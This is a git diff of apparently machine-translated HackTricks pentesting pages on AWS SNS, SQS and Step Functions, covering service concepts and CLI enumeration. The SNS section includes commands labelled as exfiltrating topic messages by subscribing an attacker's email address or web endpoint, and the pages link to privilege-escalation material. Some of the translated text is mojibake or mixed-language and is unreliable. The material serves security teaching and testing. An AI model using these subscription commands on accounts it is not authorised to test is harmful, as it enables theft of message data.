Ł„Ł„ŲŗŲ§ŁŠŲ© ŁŁŠ Ų§Ł„Ų³ŁŠŁ†Ų§Ų±ŁŠŁˆŁ‡Ų§ŲŖ Ų§Ł„ŲŖŁŠ ŲŖŲŖŲ¶Ł…Ł† Ų£Ł†ŲøŁ…Ų© Ł…ŁˆŲ²Ų¹Ų©ŲŒ Ų®ŲÆŁ…Ų§ŲŖ ŲµŲŗŁŠŲ±Ų©ŲŒ ŁˆŁ‡ŁŠŲ§ŁƒŁ„ Ų®Ų§Ł„ŁŠŲ© Ł…Ł† Ų§Ł„Ų®Ų§ŲÆŁ… Ł…ŲÆŁŁˆŲ¹Ų© ŲØŲ§Ł„Ų­ŲÆŲ«. Ł…Ł† Ų®Ł„Ų§Ł„ Ų§Ł„Ų§Ų³ŲŖŁŲ§ŲÆŲ© Ł…Ł† Ł‡Ų°Ł‡ Ų§Ł„Ł…ŁˆŲ§Ų¶ŁŠŲ¹ŲŒ ŁŠŁ…ŁƒŁ† Ł„Ų£Ł†ŲøŁ…Ų© Ų§Ł„Ł†Ų§Ų“Ų±ŁŠŁ† ŲŖŁˆŲ²ŁŠŲ¹ Ų§Ł„Ų±Ų³Ų§Ų¦Ł„ ŲØŁƒŁŲ§Ų”Ų© Ų„Ł„Ł‰ **Ł…Ų¬Ł…ŁˆŲ¹Ų© ŁˆŲ§Ų³Ų¹Ų© Ł…Ł† Ų£Ł†ŲøŁ…Ų© Ų§Ł„Ł…Ų“ŲŖŲ±ŁƒŁŠŁ†**ŲŒ Ł…Ł…Ų§ ŁŠŲ³Ł‡Ł„ Ł†Ł…Ų· Ų§Ł„Ų±Ų³Ų§Ų¦Ł„ Ų§Ł„Ł…ŲŖŁŲ±Ų¹Ų©. ### **Difference with SQS** -**SQS** is a **queue-based** service that allows point-to-point communication, ensuring that messages are processed by a **single consumer**. It offers **at-least-once delivery**, supports standard and FIFO queues, and allows message retention for retries and delayed processing.\ -On the other hand, **SNS** is a **publish/subscribe-based service**, enabling **one-to-many** communication by broadcasting messages to **multiple subscribers** simultaneously. It supports **various subscription endpoints like email, SMS, Lambda functions, and HTTP/HTTPS**, and provides filtering mechanisms for targeted message delivery.\ -While both services enable decoupling between components in distributed systems, SQS focuses on queued communication, and SNS emphasizes event-driven, fan-out communication patterns. +**SQS** Ł‡ŁŠ Ų®ŲÆŁ…Ų© **Ł…ŲØŁ†ŁŠŲ© Ų¹Ł„Ł‰ Ų§Ł„Ų·ŁˆŲ§ŲØŁŠŲ±** ŲŖŲ³Ł…Ų­ ŲØŲ§Ł„ŲŖŁˆŲ§ŲµŁ„ Ł…Ł† Ł†Ł‚Ų·Ų© Ų„Ł„Ł‰ Ł†Ł‚Ų·Ų©ŲŒ Ł…Ł…Ų§ ŁŠŲ¶Ł…Ł† Ł…Ų¹Ų§Ł„Ų¬Ų© Ų§Ł„Ų±Ų³Ų§Ų¦Ł„ ŲØŁˆŲ§Ų³Ų·Ų© **Ł…Ų³ŲŖŁ‡Ł„Łƒ ŁˆŲ§Ų­ŲÆ**. ŲŖŁ‚ŲÆŁ… **ŲŖŲ³Ł„ŁŠŁ… Ų¹Ł„Ł‰ Ų§Ł„Ų£Ł‚Ł„ Ł…Ų±Ų© ŁˆŲ§Ų­ŲÆŲ©**ŲŒ ŲŖŲÆŲ¹Ł… Ų§Ł„Ų·ŁˆŲ§ŲØŁŠŲ± Ų§Ł„Ł‚ŁŠŲ§Ų³ŁŠŲ© Łˆ FIFOŲŒ ŁˆŲŖŲ³Ł…Ų­ ŲØŲ§Ł„Ų§Ų­ŲŖŁŲ§Ųø ŲØŲ§Ł„Ų±Ų³Ų§Ų¦Ł„ Ł„Ų„Ų¹Ų§ŲÆŲ© Ų§Ł„Ł…Ų­Ų§ŁˆŁ„Ų© ŁˆŲ§Ł„Ł…Ų¹Ų§Ł„Ų¬Ų© Ų§Ł„Ł…ŲŖŲ£Ų®Ų±Ų©.\ +Ł…Ł† Ł†Ų§Ų­ŁŠŲ© Ų£Ų®Ų±Ł‰ŲŒ **SNS** Ł‡ŁŠ Ų®ŲÆŁ…Ų© **Ł…ŲØŁ†ŁŠŲ© Ų¹Ł„Ł‰ Ų§Ł„Ł†Ų“Ų±/Ų§Ł„Ų§Ų“ŲŖŲ±Ų§Łƒ**ŲŒ Ł…Ł…Ų§ ŁŠŁ…ŁƒŁ‘Ł† **Ų§Ł„ŲŖŁˆŲ§ŲµŁ„ Ł…Ł† ŁˆŲ§Ų­ŲÆ Ų„Ł„Ł‰ Ų§Ł„Ų¹ŲÆŁŠŲÆ** Ł…Ł† Ų®Ł„Ų§Ł„ ŲØŲ« Ų§Ł„Ų±Ų³Ų§Ų¦Ł„ Ų„Ł„Ł‰ **Ų¹ŲÆŲ© Ł…Ų“ŲŖŲ±ŁƒŁŠŁ†** ŁŁŠ ŁˆŁ‚ŲŖ ŁˆŲ§Ų­ŲÆ. ŲŖŲÆŲ¹Ł… **Ł†Ł‚Ų§Ų· Ų§Ł„Ų§Ų“ŲŖŲ±Ų§Łƒ Ų§Ł„Ł…Ų®ŲŖŁ„ŁŲ© Ł…Ų«Ł„ Ų§Ł„ŲØŲ±ŁŠŲÆ Ų§Ł„Ų„Ł„ŁƒŲŖŲ±ŁˆŁ†ŁŠŲŒ SMSŲŒ ŁˆŲøŲ§Ų¦Ł LambdaŲŒ Łˆ HTTP/HTTPS**ŲŒ ŁˆŲŖŁˆŁŲ± Ų¢Ł„ŁŠŲ§ŲŖ ŲŖŲµŁŁŠŲ© Ł„ŲŖŲ³Ł„ŁŠŁ… Ų§Ł„Ų±Ų³Ų§Ų¦Ł„ Ų§Ł„Ł…Ų³ŲŖŁ‡ŲÆŁŲ©.\ +ŲØŁŠŁ†Ł…Ų§ ŲŖŁ…ŁƒŁ‘Ł† ŁƒŁ„Ų§ Ų§Ł„Ų®ŲÆŁ…ŲŖŁŠŁ† Ł…Ł† ŁŲµŁ„ Ų§Ł„Ł…ŁƒŁˆŁ†Ų§ŲŖ ŁŁŠ Ų§Ł„Ų£Ł†ŲøŁ…Ų© Ų§Ł„Ł…ŁˆŲ²Ų¹Ų©ŲŒ ŲŖŲ±ŁƒŲ² SQS Ų¹Ł„Ł‰ Ų§Ł„ŲŖŁˆŲ§ŲµŁ„ Ų§Ł„Ł‚Ų§Ų¦Ł… Ų¹Ł„Ł‰ Ų§Ł„Ų·ŁˆŲ§ŲØŁŠŲ±ŲŒ ŲØŁŠŁ†Ł…Ų§ ŲŖŲ±ŁƒŲ² SNS Ų¹Ł„Ł‰ Ų£Ł†Ł…Ų§Ų· Ų§Ł„ŲŖŁˆŲ§ŲµŁ„ Ų§Ł„Ł…ŲÆŁŁˆŲ¹Ų© ŲØŲ§Ł„Ų­ŲÆŲ« ŁˆŲ§Ł„Ł…ŲŖŁŲ±Ų¹Ų©. ### **Enumeration** - ```bash # Get topics & subscriptions aws sns list-topics @@ -24,29 +23,28 @@ aws sns list-subscriptions-by-topic --topic-arn # Check privescs & post-exploitation aws sns publish --region \ - --topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \ - --message file://message.txt +--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \ +--message file://message.txt # Exfiltrate through email ## You will receive an email to confirm the subscription aws sns subscribe --region \ - --topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \ - --protocol email \ - --notification-endpoint my-email@example.com +--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \ +--protocol email \ +--notification-endpoint my-email@example.com # Exfiltrate through web server ## You will receive an initial request with a URL in the field "SubscribeURL" ## that you need to access to confirm the subscription aws sns subscribe --region \ - --protocol http \ - --notification-endpoint http:/// \ - --topic-arn +--protocol http \ +--notification-endpoint http:/// \ +--topic-arn ``` - > [!CAUTION] -> Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used (HTTP or HTTPS cannot be used). +> Kumbuka kwamba ikiwa **mada ni ya aina ya FIFO**, ni wanachama pekee wanaotumia itifaki **SQS** wanaweza kutumika (HTTP au HTTPS haiwezi kutumika). > -> Also, even if the `--topic-arn` contains the region make sure you specify the correct region in **`--region`** or you will get an error that looks like indicate that you don't have access but the problem is the region. +> Pia, hata kama `--topic-arn` ina eneo hakikisha unataja eneo sahihi katika **`--region`** au utapata kosa ambalo linaonekana kuashiria kwamba huna ufikiaji lakini tatizo ni eneo. #### Unauthenticated Access @@ -77,7 +75,3 @@ aws sns subscribe --region \ - [https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/](https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md index 1da888587..b0ef6a049 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md @@ -4,10 +4,9 @@ ## SQS -Amazon Simple Queue Service (SQS) is presented as a **fully managed message queuing service**. Its main function is to assist in the scaling and decoupling of microservices, distributed systems, and serverless applications. The service is designed to remove the need for managing and operating message-oriented middleware, which can often be complex and resource-intensive. This elimination of complexity allows developers to direct their efforts towards more innovative and differentiating aspects of their work. +Amazon Simple Queue Service (SQS) inawasilishwa kama **huduma ya ujumbe wa foleni inayosimamiwa kikamilifu**. Kazi yake kuu ni kusaidia katika kupanua na kutenganisha microservices, mifumo iliyosambazwa, na programu zisizo na seva. Huduma hii imeundwa kuondoa hitaji la kusimamia na kufanya kazi na middleware inayolenga ujumbe, ambayo mara nyingi inaweza kuwa ngumu na inahitaji rasilimali nyingi. Kuondolewa kwa ugumu huu kunawawezesha waendelezaji kuelekeza juhudi zao kwenye vipengele vya ubunifu na tofauti zaidi vya kazi zao. ### Enumeration - ```bash # Get queues info aws sqs list-queues @@ -18,9 +17,8 @@ aws sqs receive-message --queue-url aws sqs send-message --queue-url --message-body ``` - > [!CAUTION] -> Also, even if the `--queue-url` contains the region make sure you specify the correct region in **`--region`** or you will get an error that looks like indicate that you don't have access but the problem is the region. +> Pia, hata kama `--queue-url` ina eneo hakikisha unataja eneo sahihi katika **`--region`** au utapata kosa ambalo linaonekana kuashiria kwamba huna ufaccess lakini tatizo ni eneo. #### Unauthenticated Access @@ -51,7 +49,3 @@ aws sqs send-message --queue-url --message-body - https://docs.aws.amazon.com/cdk/api/v2/python/aws\_cdk.aws\_sqs/README.html {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md index 873629bba..ff7bd88be 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md @@ -4,73 +4,69 @@ ## Step Functions -AWS Step Functions is a workflow service that enables you to coordinate and orchestrate multiple AWS services into serverless workflows. By using AWS Step Functions, you can design and run workflows that connect various AWS services such as AWS Lambda, Amazon S3, Amazon DynamoDB, and many more, in a sequence of steps. This orchestration service provides a visual workflow interface and offers **state machine** capabilities, allowing you to define each step of the workflow in a declarative manner using JSON-based **Amazon States Language** (ASL). +AWS Step Functions ni huduma ya mchakato inayokuwezesha kuratibu na kuendesha huduma nyingi za AWS katika michakato isiyo na seva. Kwa kutumia AWS Step Functions, unaweza kubuni na kuendesha michakato inayounganisha huduma mbalimbali za AWS kama AWS Lambda, Amazon S3, Amazon DynamoDB, na nyingi zaidi, katika mfululizo wa hatua. Huduma hii ya uratibu inatoa kiolesura cha mchakato wa kuona na inatoa uwezo wa **mashine ya hali**, ikikuruhusu kufafanua kila hatua ya mchakato kwa njia ya kutangaza kwa kutumia lugha ya **Amazon States Language** (ASL) inayotumia JSON. ## Key concepts ### Standard vs. Express Workflows -AWS Step Functions offers two types of **state machine workflows**: Standard and Express. +AWS Step Functions inatoa aina mbili za **michakato ya mashine ya hali**: Standard na Express. -- **Standard Workflow**: This default workflow type is designed for long-running, durable, and auditable processes. It supports **exactly-once execution**, ensuring tasks run only once unless retries are specified. It is ideal for workflows needing detailed execution history and can run for up to one year. -- **Express Workflow**: This type is ideal for high-volume, short-duration tasks, running up to five minutes. They support **at-least-once execution**, suitable for idempotent tasks like data processing. These workflows are optimized for cost and performance, charging based on executions, duration, and memory usage. +- **Standard Workflow**: Aina hii ya mchakato wa kawaida imeundwa kwa ajili ya michakato ya muda mrefu, ya kudumu, na inayoweza kukaguliwa. Inasaidia **utendaji wa mara moja tu**, kuhakikisha kazi zinafanyika mara moja tu isipokuwa ikiwa marejeo yameainishwa. Ni bora kwa michakato inayohitaji historia ya kina ya utendaji na inaweza kuendesha kwa muda wa hadi mwaka mmoja. +- **Express Workflow**: Aina hii ni bora kwa kazi zenye kiasi kikubwa, za muda mfupi, zinazoendesha hadi dakika tano. Zinasaidia **utendaji wa angalau mara moja**, zinazofaa kwa kazi zisizobadilika kama usindikaji wa data. Michakato hii imeboreshwa kwa gharama na utendaji, ikitoza kulingana na utendaji, muda, na matumizi ya kumbukumbu. ### States -States are the essential units of state machines. They define the individual steps within a workflow, being able to perform a variety of functions depending on its type: +Hali ni vitengo muhimu vya mashine za hali. Zinabainisha hatua za kibinafsi ndani ya mchakato, zikiwa na uwezo wa kutekeleza kazi mbalimbali kulingana na aina yake: -- **Task:** Executes a job, often using an AWS service like Lambda. -- **Choice:** Makes decisions based on input. -- **Fail/Succeed:** Ends the execution with a failure or success. -- **Pass:** Passes input to output or injects data. -- **Wait:** Delays execution for a set time. -- **Parallel:** Initiates parallel branches. -- **Map:** Dynamically iterates steps over items. +- **Task:** Inatekeleza kazi, mara nyingi ikitumia huduma ya AWS kama Lambda. +- **Choice:** Inafanya maamuzi kulingana na ingizo. +- **Fail/Succeed:** Inamaliza utendaji kwa kushindwa au kufanikiwa. +- **Pass:** Inapitisha ingizo kwa pato au kuingiza data. +- **Wait:** Inachelewesha utendaji kwa muda fulani. +- **Parallel:** Inaanzisha matawi ya sambamba. +- **Map:** Inarudiarudia hatua kwa vitu. ### Task -A **Task** state represents a single unit of work executed by a state machine. Tasks can invoke various resources, including activities, Lambda functions, AWS services, or third-party APIs. +Hali ya **Task** inawakilisha kitengo kimoja cha kazi kinachotekelezwa na mashine ya hali. Tasks zinaweza kuita rasilimali mbalimbali, ikiwa ni pamoja na shughuli, kazi za Lambda, huduma za AWS, au APIs za wahusika wengine. -- **Activities**: Custom workers you manage, suitable for long-running processes. - - Resource: **`arn:aws:states:region:account:activity:name`**. -- **Lambda Functions**: Executes AWS Lambda functions. - - Resource: **`arn:aws:lambda:region:account:function:function-name`**. -- **AWS Services**: Integrates directly with other AWS services, like DynamoDB or S3. - - Resource: **`arn:partition:states:region:account:servicename:APIname`**. -- **HTTP Task**: Calls third-party APIs. - - Resource field: **`arn:aws:states:::http:invoke`**. Then, you should provide the API endpoint configuration details, such as the API URL, method, and authentication details. - -The following example shows a Task state definition that invokes a Lambda function called HelloWorld: +- **Activities**: Wafanyakazi maalum unayoshughulikia, wanaofaa kwa michakato ya muda mrefu. +- Rasilimali: **`arn:aws:states:region:account:activity:name`**. +- **Lambda Functions**: Inatekeleza kazi za AWS Lambda. +- Rasilimali: **`arn:aws:lambda:region:account:function:function-name`**. +- **AWS Services**: Inajumuisha moja kwa moja na huduma nyingine za AWS, kama DynamoDB au S3. +- Rasilimali: **`arn:partition:states:region:account:servicename:APIname`**. +- **HTTP Task**: Inaita APIs za wahusika wengine. +- Uwanja wa rasilimali: **`arn:aws:states:::http:invoke`**. Kisha, unapaswa kutoa maelezo ya usanidi wa mwisho wa API, kama vile URL ya API, njia, na maelezo ya uthibitishaji. +Mfano ufuatao unaonyesha ufafanuzi wa hali ya Task inayokita kazi ya Lambda inayoitwa HelloWorld: ```json "HelloWorld": { - "Type": "Task", - "Resource": "arn:aws:states:::lambda:invoke", - "Parameters": { - "Payload.$": "$", - "FunctionName": "arn:aws:lambda:::function:HelloWorld" - }, - "End": true +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"Parameters": { +"Payload.$": "$", +"FunctionName": "arn:aws:lambda:::function:HelloWorld" +}, +"End": true } ``` - ### Choice A **Choice** state adds conditional logic to a workflow, enabling decisions based on input data. It evaluates the specified conditions and transitions to the corresponding state based on the results. -- **Comparison**: Each choice rule includes a comparison operator (e.g., **`NumericEquals`**, **`StringEquals`**) that compares an input variable to a specified value or another variable. -- **Next Field**: Choice states do not support don't support the **`End`** field, instead, they define the **`Next`** state to transition to if the comparison is true. +- **Comparison**: Kila sheria ya uchaguzi inajumuisha opereta wa kulinganisha (e.g., **`NumericEquals`**, **`StringEquals`**) inayolinganisha kigezo cha ingizo na thamani iliyoainishwa au kigezo kingine. +- **Next Field**: Mstates za uchaguzi hazisaidii uwanja wa **`End`**, badala yake, zinafafanua hali ya **`Next`** ya kuhamia ikiwa kulinganisha ni kweli. Example of **Choice** state: - ```json { - "Variable": "$.timeStamp", - "TimestampEquals": "2000-01-01T00:00:00Z", - "Next": "TimeState" +"Variable": "$.timeStamp", +"TimestampEquals": "2000-01-01T00:00:00Z", +"Next": "TimeState" } ``` - ### Fail/Succeed A **`Fail`** state stops the execution of a state machine and marks it as a failure. It is used to specify an error name and a cause, providing details about the failure. This state is terminal, meaning it ends the execution flow. @@ -79,191 +75,182 @@ A **`Succeed`** state stops the execution successfully. It is typically used to {{#tabs }} {{#tab name="Fail example" }} - ```json "FailState": { - "Type": "Fail", - "Error": "ErrorName", - "Cause": "Error details" +"Type": "Fail", +"Error": "ErrorName", +"Cause": "Error details" } ``` - {{#endtab }} -{{#tab name="Succeed example" }} - +{{#tab name="Mfano wa Kufanikiwa" }} ```json "SuccessState": { - "Type": "Succeed" +"Type": "Succeed" } ``` - {{#endtab }} {{#endtabs }} ### Pass -A **Pass** state passes its input to its output either without performing any work or transformin JSON state input using filters, and then passing the transformed data to the next state. It is useful for testing and constructing state machines, allowing you to inject static data or transform it. - +A **Pass** state inapitisha ingizo lake kwa pato lake bila kufanya kazi yoyote au kubadilisha ingizo la hali ya JSON kwa kutumia filters, na kisha kupeleka data iliyobadilishwa kwa hali inayofuata. Inasaidia katika kujaribu na kujenga mashine za hali, ikikuruhusu kuingiza data ya kudumu au kuibadilisha. ```json "PassState": { - "Type": "Pass", - "Result": {"key": "value"}, - "ResultPath": "$.newField", - "Next": "NextState" +"Type": "Pass", +"Result": {"key": "value"}, +"ResultPath": "$.newField", +"Next": "NextState" } ``` - ### Wait A **Wait** state delays the execution of the state machine for a specified duration. There are three primary methods to configure the wait time: -- **X Seconds**: A fixed number of seconds to wait. +- **X Seconds**: Idadi maalum ya sekunde za kusubiri. - ```json - "WaitState": { - "Type": "Wait", - "Seconds": 10, - "Next": "NextState" - } - ``` +```json +"WaitState": { +"Type": "Wait", +"Seconds": 10, +"Next": "NextState" +} +``` -- **Absolute Timestamp**: An exact time to wait until. +- **Absolute Timestamp**: Wakati sahihi wa kusubiri hadi. - ```json - "WaitState": { - "Type": "Wait", - "Timestamp": "2024-03-14T01:59:00Z", - "Next": "NextState" - } - ``` +```json +"WaitState": { +"Type": "Wait", +"Timestamp": "2024-03-14T01:59:00Z", +"Next": "NextState" +} +``` -- **Dynamic Wait**: Based on input using **`SecondsPath`** or **`TimestampPath`**. +- **Dynamic Wait**: Kulingana na input kutumia **`SecondsPath`** au **`TimestampPath`**. - ```json - jsonCopiar cĆ³digo - "WaitState": { - "Type": "Wait", - "TimestampPath": "$.expirydate", - "Next": "NextState" - } - ``` +```json +jsonCopiar cĆ³digo +"WaitState": { +"Type": "Wait", +"TimestampPath": "$.expirydate", +"Next": "NextState" +} +``` ### Parallel A **Parallel** state allows you to execute multiple branches of tasks concurrently within your workflow. Each branch runs independently and processes its own sequence of states. The execution waits until all branches complete before proceeding to the next state. Its key fields are: -- **Branches**: An array defining the parallel execution paths. Each branch is a separate state machine. -- **ResultPath**: Defines where (in the input) to place the combined output of the branches. -- **Retry and Catch**: Error handling configurations for the parallel state. - +- **Branches**: Mfululizo unaofafanua njia za utekelezaji wa sambamba. Kila tawi ni mashine ya hali tofauti. +- **ResultPath**: Inafafanua wapi (katika input) kuweka matokeo yaliyochanganywa ya matawi. +- **Retry and Catch**: Mipangilio ya kushughulikia makosa kwa hali ya sambamba. ```json "ParallelState": { - "Type": "Parallel", - "Branches": [ - { - "StartAt": "Task1", - "States": { ... } - }, - { - "StartAt": "Task2", - "States": { ... } - } - ], - "Next": "NextState" +"Type": "Parallel", +"Branches": [ +{ +"StartAt": "Task1", +"States": { ... } +}, +{ +"StartAt": "Task2", +"States": { ... } +} +], +"Next": "NextState" +} +``` +### Ramani + +A **Ramani** hali inaruhusu utekelezaji wa seti ya hatua kwa kila kipengee katika dataset. Inatumika kwa usindikaji wa data kwa wakati mmoja. Kulingana na jinsi unavyotaka kusindika vipengee vya dataset, Step Functions inatoa njia zifuatazo: + +- **Njia ya Ndani**: Inatekeleza subset ya hali kwa kila kipengee cha JSON array. Inafaa kwa kazi ndogo zenye chini ya kurudi 40 kwa wakati mmoja, ikikimbia kila moja katika muktadha wa workflow inayojumuisha hali ya **`Ramani`**. + +```json +"MapState": { +"Type": "Map", +"ItemsPath": "$.arrayItems", +"ItemProcessor": { +"ProcessorConfig": { +"Mode": "INLINE" +}, +"StartAt": "AddState", +"States": { +"AddState": { +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"OutputPath": "$.Payload", +"Parameters": { +"FunctionName": "arn:aws:lambda:::function:add-function" +}, +"End": true +} +} +}, +"End": true +"ResultPath": "$.detail.added", +"ItemsPath": "$.added" } ``` -### Map +- **Njia Iliyosambazwa**: Imeundwa kwa usindikaji wa wakati mmoja kwa kiwango kikubwa na ufanisi wa juu. Inasaidia usindikaji wa datasets kubwa, kama zile zilizohifadhiwa katika Amazon S3, ikiruhusu ufanisi wa juu wa hadi 10,000 ya utekelezaji wa watoto wa workflow, ikikimbia watoto hawa kama utekelezaji wa mtoto tofauti. -A **Map** state enables the execution of a set of steps for each item in an dataset. It's used for parallel processing of data. Depending on how you want to process the items of the dataset, Step Functions provides the following modes: +```json +"DistributedMapState": { +"Type": "Map", +"ItemReader": { +"Resource": "arn:aws:states:::s3:getObject", +"Parameters": { +"Bucket": "my-bucket", +"Key": "data.csv" +} +}, +"ItemProcessor": { +"ProcessorConfig": { +"Mode": "DISTRIBUTED", +"ExecutionType": "EXPRESS" +}, +"StartAt": "ProcessItem", +"States": { +"ProcessItem": { +"Type": "Task", +"Resource": "arn:aws:lambda:region:account-id:function:my-function", +"End": true +} +} +}, +"End": true +"ResultWriter": { +"Resource": "arn:aws:states:::s3:putObject", +"Parameters": { +"Bucket": "myOutputBucket", +"Prefix": "csvProcessJobs" +} +} +} +``` -- **Inline Mode**: Executes a subset of states for each JSON array item. Suitable for small-scale tasks with less than 40 parallel iterations, running each of them in the context of the workflow that contains the **`Map`** state. +### Matoleo na majina - ```json - "MapState": { - "Type": "Map", - "ItemsPath": "$.arrayItems", - "ItemProcessor": { - "ProcessorConfig": { - "Mode": "INLINE" - }, - "StartAt": "AddState", - "States": { - "AddState": { - "Type": "Task", - "Resource": "arn:aws:states:::lambda:invoke", - "OutputPath": "$.Payload", - "Parameters": { - "FunctionName": "arn:aws:lambda:::function:add-function" - }, - "End": true - } - } - }, - "End": true - "ResultPath": "$.detail.added", - "ItemsPath": "$.added" - } - ``` +Step Functions pia inakuwezesha kusimamia utekelezaji wa workflow kupitia **matoleo** na **majina** ya mashine za hali. Toleo linawakilisha picha ya mashine ya hali ambayo inaweza kutekelezwa. Majina yanatumika kama viashiria kwa matoleo mawili ya mashine ya hali. -- **Distributed Mode**: Designed for large-scale parallel processing with high concurrency. Supports processing large datasets, such as those stored in Amazon S3, enabling a high concurrency of up 10,000 parallel child workflow executions, running these child as a separate child execution. +- **Matoleo**: Picha hizi zisizobadilika za mashine ya hali zinaundwa kutoka kwa toleo la hivi karibuni la mashine hiyo ya hali. Kila toleo linatambulishwa na ARN ya kipekee inayounganisha ARN ya mashine ya hali na nambari ya toleo, iliyotenganishwa na koloni (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**). Matoleo hayawezi kubadilishwa, lakini unaweza kuboresha mashine ya hali na kuchapisha toleo jipya, au kutumia toleo la mashine ya hali unayotaka. +- **Majina**: Viashiria hivi vinaweza kurejelea hadi matoleo mawili ya mashine moja ya hali. Majina mengi yanaweza kuundwa kwa mashine moja ya hali, kila moja ikitambulishwa na ARN ya kipekee iliyoundwa kwa kuunganisha ARN ya mashine ya hali na jina la jina, iliyotenganishwa na koloni (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Majina yanaruhusu kuelekeza trafiki kati ya moja ya matoleo mawili ya mashine ya hali. Vinginevyo, jina linaweza kuelekeza kwenye toleo moja maalum la mashine ya hali, lakini si kwenye majina mengine. Yanweza kuboreshwa ili kuelekeza kwenye toleo tofauti la mashine ya hali kadri inavyohitajika, kurahisisha utekelezaji wa kudhibitiwa na usimamizi wa workflow. - ```json - "DistributedMapState": { - "Type": "Map", - "ItemReader": { - "Resource": "arn:aws:states:::s3:getObject", - "Parameters": { - "Bucket": "my-bucket", - "Key": "data.csv" - } - }, - "ItemProcessor": { - "ProcessorConfig": { - "Mode": "DISTRIBUTED", - "ExecutionType": "EXPRESS" - }, - "StartAt": "ProcessItem", - "States": { - "ProcessItem": { - "Type": "Task", - "Resource": "arn:aws:lambda:region:account-id:function:my-function", - "End": true - } - } - }, - "End": true - "ResultWriter": { - "Resource": "arn:aws:states:::s3:putObject", - "Parameters": { - "Bucket": "myOutputBucket", - "Prefix": "csvProcessJobs" - } - } - } - ``` +Kwa maelezo zaidi kuhusu **ASL**, angalia: [**Lugha ya Jimbo la Amazon**](https://states-language.net/spec.html). -### Versions and aliases +## Majukumu ya IAM kwa Mashine za Hali -Step Functions also lets you manage workflow deployments through **versions** and **aliases** of state machines. A version represents a snapshot of a state machine that can be executed. Aliases serve as pointers to up to two versions of a state machine. +AWS Step Functions inatumia majukumu ya AWS Identity and Access Management (IAM) kudhibiti ufikiaji wa rasilimali na vitendo ndani ya mashine za hali. Hapa kuna vipengele muhimu vinavyohusiana na usalama na majukumu ya IAM katika AWS Step Functions: -- **Versions**: These immutable snapshots of a state machine are created from the most recent revision of that state machine. Each version is identified by a unique ARN that combines the state machine ARN with the version number, separated by a colon (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**). Versions cannot be edited, but you can update the state machine and publish a new version, or use the desired state machine version. -- **Aliases**: These pointers can reference up to two versions of the same state machine. Multiple aliases can be created for a single state machine, each identified by a unique ARN constructed by combining the state machine ARN with the alias name, separated by a colon (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Aliases enable routing of traffic between one of the two versions of a state machine. Alternatively, an alias can point to a single specific version of the state machine, but not to other aliases. They can be updated to redirect to a different version of the state machine as needed, facilitating controlled deployments and workflow management. +- **Jukumu la Utekelezaji**: Kila mashine ya hali katika AWS Step Functions inahusishwa na jukumu la IAM la utekelezaji. Jukumu hili linaeleza vitendo gani mashine ya hali inaweza kutekeleza kwa niaba yako. Wakati mashine ya hali inahamia kati ya hali zinazoshirikiana na huduma za AWS (kama vile kuita kazi za Lambda, kufikia DynamoDB, nk), inachukua jukumu hili la utekelezaji ili kutekeleza vitendo hivyo. +- **Ruhusa**: Jukumu la utekelezaji la IAM lazima liwe limeundwa na ruhusa zinazoruhusu vitendo vinavyohitajika kwenye huduma nyingine za AWS. Kwa mfano, ikiwa mashine yako ya hali inahitaji kuita kazi za AWS Lambda, jukumu la IAM lazima liwe na ruhusa za **`lambda:InvokeFunction`**. Vivyo hivyo, ikiwa inahitaji kuandika kwenye DynamoDB, ruhusa zinazofaa (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`**, nk.) lazima zipewe. -For more detailed information about **ASL**, check: [**Amazon States Language**](https://states-language.net/spec.html). - -## IAM Roles for State machines - -AWS Step Functions utilizes AWS Identity and Access Management (IAM) roles to control access to resources and actions within state machines. Here are the key aspects related to security and IAM roles in AWS Step Functions: - -- **Execution Role**: Each state machine in AWS Step Functions is associated with an IAM execution role. This role defines what actions the state machine can perform on your behalf. When a state machine transitions between states that interact with AWS services (like invoking Lambda functions, accessing DynamoDB, etc.), it assumes this execution role to carry out those actions. -- **Permissions**: The IAM execution role must be configured with permissions that allow the necessary actions on other AWS services. For example, if your state machine needs to invoke AWS Lambda functions, the IAM role must have **`lambda:InvokeFunction`** permissions. Similarly, if it needs to write to DynamoDB, appropriate permissions (**`dynamodb:PutItem`**, **`dynamodb:UpdateItem`**, etc.) must be granted. - -## Enumeration - -ReadOnlyAccess policy is enough for all the following enumeration actions. +## Uainishaji +Sera ya ReadOnlyAccess inatosha kwa vitendo vyote vya uainishaji vifuatavyo. ```bash # State machines # @@ -310,10 +297,9 @@ aws stepfunctions describe-map-run --map-run-arn ## Lists executions of a Map Run aws stepfunctions list-executions --map-run-arn [--status-filter ] [--redrive-filter ] ``` - ## Privesc -In the following page, you can check how to **abuse Step Functions permissions to escalate privileges**: +Katika ukurasa ufuatao, unaweza kuangalia jinsi ya **kudhulumu ruhusa za Step Functions ili kupandisha mamlaka**: {{#ref}} ../aws-privilege-escalation/aws-stepfunctions-privesc.md @@ -338,7 +324,3 @@ In the following page, you can check how to **abuse Step Functions permissions t - [https://states-language.net/spec.html](https://states-language.net/spec.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sts-enum.md 